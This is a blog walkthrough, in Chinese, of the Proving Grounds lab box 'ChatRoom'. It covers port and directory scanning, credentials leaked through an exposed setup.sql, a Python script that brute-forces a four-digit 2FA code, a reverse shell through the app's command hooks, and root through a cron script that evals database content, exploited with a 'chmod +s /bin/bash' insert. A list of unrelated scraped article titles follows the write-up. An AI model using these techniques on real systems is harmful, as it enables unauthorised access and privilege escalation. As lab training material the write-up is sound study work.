NMAP
┌──(root㉿kali)-[~/lab]
└─# nmap -p- -A 192.168.189.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 00:22 UTC
Nmap scan report for 192.168.189.110
Host is up (0.073s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_ 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Chat Room
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 72.32 ms 192.168.45.1
2 72.15 ms 192.168.45.254
3 73.03 ms 192.168.251.1
4 76.67 ms 192.168.189.110 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.45 seconds

只有22 和80 那看来突破口就是80了
访问80 发现是个登录界面尝试admin admin 发现登录不上
![image](https://img2024.cnblogs.com/blog/3376478/202411/3376478-20241130082639392-1511921679.png)

dirsearch
[00:25:08] Starting:
[00:25:16] 403 - 280B - /.htaccess.bak1
[00:25:16] 403 - 280B - /.ht_wsr.txt
[00:25:16] 403 - 280B - /.htaccess.save
[00:25:16] 403 - 280B - /.htaccess.orig
[00:25:16] 403 - 280B - /.htaccess.sample
[00:25:16] 403 - 280B - /.htaccess_sc
[00:25:16] 403 - 280B - /.htaccess_orig
[00:25:16] 403 - 280B - /.htaccessBAK
[00:25:16] 403 - 280B - /.htaccessOLD2
[00:25:16] 403 - 280B - /.htaccess_extra
[00:25:16] 403 - 280B - /.htaccessOLD
[00:25:16] 403 - 280B - /.htm
[00:25:16] 403 - 280B - /.htpasswd_test
[00:25:16] 403 - 280B - /.htpasswds
[00:25:16] 403 - 280B - /.html
[00:25:16] 403 - 280B - /.httr-oauth
[00:25:17] 403 - 280B - /.php
[00:25:19] 301 - 315B - /js -> http://192.168.189.110/js/
[00:25:23] 302 - 0B - /admin.php -> index.php
[00:25:34] 302 - 0B - /chat.php -> index.php
[00:25:36] 301 - 316B - /css -> http://192.168.189.110/css/
[00:25:43] 301 - 319B - /images -> http://192.168.189.110/images/
[00:25:43] 200 - 457B - /images/
[00:25:45] 200 - 511B - /js/
[00:25:47] 302 - 0B - /login.php -> index.php
[00:26:00] 403 - 280B - /server-status
[00:26:00] 403 - 280B - /server-status/
[00:26:00] 200 - 2KB - /setup.sql

发现了很有意思的文件 setup.sql

查看这个sql文件发现了许多密码和用户
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin INTEGER NOT NULL
); CREATE TABLE password_resets (
id INTEGER PRIMARY KEY,
user_id INTEGER NOT NULL,
token TEXT NOT NULL,
FOREIGN KEY(user_id) REFERENCES users(id)
); CREATE TABLE two_factor_tokens (
id INTEGER PRIMARY KEY,
user_id INTEGER NOT NULL,
token TEXT NOT NULL,
FOREIGN KEY(user_id) REFERENCES users(id)
); CREATE TABLE comments (
id INTEGER PRIMARY KEY,
user TEXT NOT NULL,
text TEXT NOT NULL,
is_admin INTEGER NOT NULL
); CREATE TABLE hooks (
id INTEGER PRIMARY KEY,
code TEXT,
backup BOOLEAN NOT NULL DEFAULT 0
); INSERT INTO users (username, password, is_admin) VALUES
('mrjones', 'L1k3ARo11!ngSt0ne', 0),
('louise', 'T@mb0ur1neMan1965', 0),
('johanna', 'H0wD0es1tFeel?', 0),
('ramona', 'T1mes@reCh@ng1ng', 0),
('maggie', 'L@yin+heW1nd$1963', 0),
('adm_robertz', 'J0k3r$Th1ef&Qeen', 1); INSERT INTO comments (user, text, is_admin) VALUES
('mrjones', 'Hello everyone! Excited to be here.', 0),
('louise', 'Welcome, mrjones! This is a great place to learn.', 0),
('johanna', 'Does anyone know how to reset the password?', 0),
('ramona', 'Yes, johanna, you can go to the "Forgot Password" link on the login page.', 0),
('adm_robertz', 'Remember to follow the community guidelines. Happy chatting!', 1),
('maggie', 'Thanks for the reminder, adm_robertz!', 0),
('johanna', 'Got it, thanks ramona!', 0),
('louise', 'If anyone needs help, feel free to ask.', 0),
('mrjones', 'What are some good resources to start with?', 0); INSERT INTO hooks (id, code, backup) VALUES (1, 'touch timestamp.txt', 0);

尝试用hydra直接ssh登录看看能不能登录上



发现不太行

那就登录web进去看看吧

('adm_robertz', 'J0k3r$Th1ef&Qeen', 1); 感觉这个用户应该是admin用户就先登录这个看看

我擦他还有二次验证

我们先不管这玩意 先尝试能不能访问到之前dirsearch扫到的页面

发现成功了

发现这里有个很有意思的东西 chat hooks 估计是聊天时会触发的命令

但问题又来了 我们好像没有他的二次验证码就登录不进去 就触发不了

又发现了一个比较有意思的地方



在忘记密码一栏输入用户名 他会返回一个token

没有用

直接爆破吧因为他是四位数的验证码

我们可以直接爆破

写了个简陋的脚本
import requests

for i in range(0,9000):
code=1000 cookies = {
'PHPSESSID': 'jdcg3a4b8335ms7jkrqsm517i9',
} headers = {
'Host': '192.168.189.110',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
# 'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
# 'Content-Length': '12',
'Origin': 'http://192.168.189.110',
'Connection': 'close',
'Referer': 'http://192.168.189.110/2fa.php',
'Upgrade-Insecure-Requests': '1',
# 'Cookie': 'PHPSESSID=jdcg3a4b8335ms7jkrqsm517i9',
} data = '2fa_code='+str(code+i) response = requests.post('http://192.168.189.110/2fa.php', cookies=cookies, headers=headers, data=data, verify=False, allow_redirects=False) print(response.status_code)
if(response.status_code==302 or response.status_code=="302"):
print("code :::::::",code+i);
break

然后登录成功



然后我们触发hooks



发现成功反弹shell

登录后发现有个用户dylan 而且又ssh 秘钥 我们直接利用该秘钥ssh登录该用户

查看定时任务发现可疑任务

点击查看代码
dylan@chatroom:/tmp$ cat /var/backups/backup.sh
#!/bin/bash
BACKUP_SCRIPT="/var/backups/backup.sh"
CRON_FILE="/etc/cron.d/backup_cron"
BACKUP_DIR="/var/backups"
w="/var/www/html"
b="/var/backups"
mkdir -p $b
cp $w/chatroom.db $b/b.db eQ="U0VMRUNUIGNvZGUgRlJPTSBob29rcyBXSEVSRSBiYWNrdXAgPSAxIEFORCAoaWQgSVMgTk9UIE5VTEwpIE9SREVSIEJZIGlkIERFU0MgTElNSVQgMTs="
c=$(echo "$eQ" | base64 --decode | sqlite3 $b/b.db)
ip4='\b((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\b'
ip6='\b([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}\b|\b([0-9a-fA-F]{1,4}:){1,7}:|\b:([0-9a-fA-F]{1,4}:){1,6}[0-9a-fA-F]{1,4}\b'
echo "$c" | grep -qE "$ip4|$ip6" || eval "$c"dylan@chatroom:/tmp$

base64解码看看这句话是啥意思



查看执行这条语句的查询结果 发现并没有符合条件的结果



同时我们发现



他有可能会直接eval c的内容

尝试插入恶意数据



发现这个db文件没有写入权限

再看看他的脚本 发现这个b.db 是复制 /var/www/html的 这就好办了 因为我们有 /var/www/html/backup.sh写入权限



插入恶意命令

echo "insert into hooks ('code','backup') values('chmod +s /bin/bash',1)" | sqlite3 /var/www/html/chatroom.db

等待定时任务执行

提权成功

ChatRoom pg walkthrough Intermediate的更多相关文章

  1. A chatroom for all! Part 1 - Introduction to Node.js(转发)

    项目组用到了 Node.js,发现下面这篇文章不错.转发一下.原文地址:<原文>. ------------------------------------------- A chatro ...

  2. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  3. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  4. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  5. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  6. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  7. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  8. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  9. TypeError: coercing to Unicode: need string or buffer, ChatRoom found

    在用django框架中遇到一个错误,是模型编写中出的错误 TypeError: coercing to Unicode: need string or buffer, ChatRoom found 解 ...

  10. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

随机推荐

  1. isObjectLike:检查 value 是否是 类对象。 如果一个值是类对象,那么它不应该是 null,而且 typeof 后的结果是 "object"

    function isObjectLike(value) { return value != null && typeof value == 'object';}

  2. ARC134C The Majority

    ARC134C The Majority link:[ARC134C] The Majority 小清新数学题.(反正我做不出来) 简要题意 有\(K\)个箱子,编号为\(1\)到\(K\)的箱子.起 ...

  3. 1、oracle实例、软件、库简单讲解

    oracle的基本结构 oracle软件(RDBMS) oracle软件:关系型数据库管理系统 在linux系统上,oracle软件安装在:/u01/app/oracle这个目录下 oracle数据库 ...

  4. 2025年前端面试准备css篇

    1.css 盒子模型 css包含了内容(content) ,内边距(padding),边框(border),外边距(margin) 等因素. css 标准盒子模型宽包括:margin+border+p ...

  5. .NET周刊【11月第4期 2024-11-24】

    国内文章 C# 入门深度学习:万字长文讲解微积分和梯度下降 https://www.cnblogs.com/whuanle/p/18551532 这篇文章主要介绍了使用 C# 进行深度学习的方法,特别 ...

  6. ZCMU-1153

    思路 一个感觉是规律问题的数学问题 因为输入的是n所以要的出有关n的关系或者关系 有关排序,所以可以从位次入手,设双胞胎前一个位置在ai,后一个在bi. Sum(bi-ai)=(2+3+4+5+6+. ...

  7. HTML5 拖拽接口

    1.首先,为了使元素可拖动,要先设置元素为可拖拽 方法:添加draggable属性,设置为 true 注意:链接和图像默认就支持拖拽,另外,如果一个元素中的文本被选中,那么这个元素和他的文本节点此时都 ...

  8. 如何使用blender生成城市群

    在我们做数字孪生相关的项目的时候,会需要生成一些城市的模型,这时候我们可以使用 blender 来生成一些城市的模型. 我们,先来看一下效果. 安装 blender blender 是一个开源的 3D ...

  9. [NET,C# ] Nuget包发布流程

    1.新建一个.NET Core类库 2.新增一个方法,并编译项目 3.下载Nuget.exe,与刚才新建的类库放在同一目录下 下载地址:https://www.nuget.org/downloads ...

  10. uniapp使用EventBus实现页面间数据传递

    前情 最近在做小程序项目,选用是当前比较火的uniapp技术栈,经常会遇到页面间消息传递的需求. 为什么要这么做? uniapp页面间数据通信方式有很多:通过url传参,状态管理库vuex/pinia ...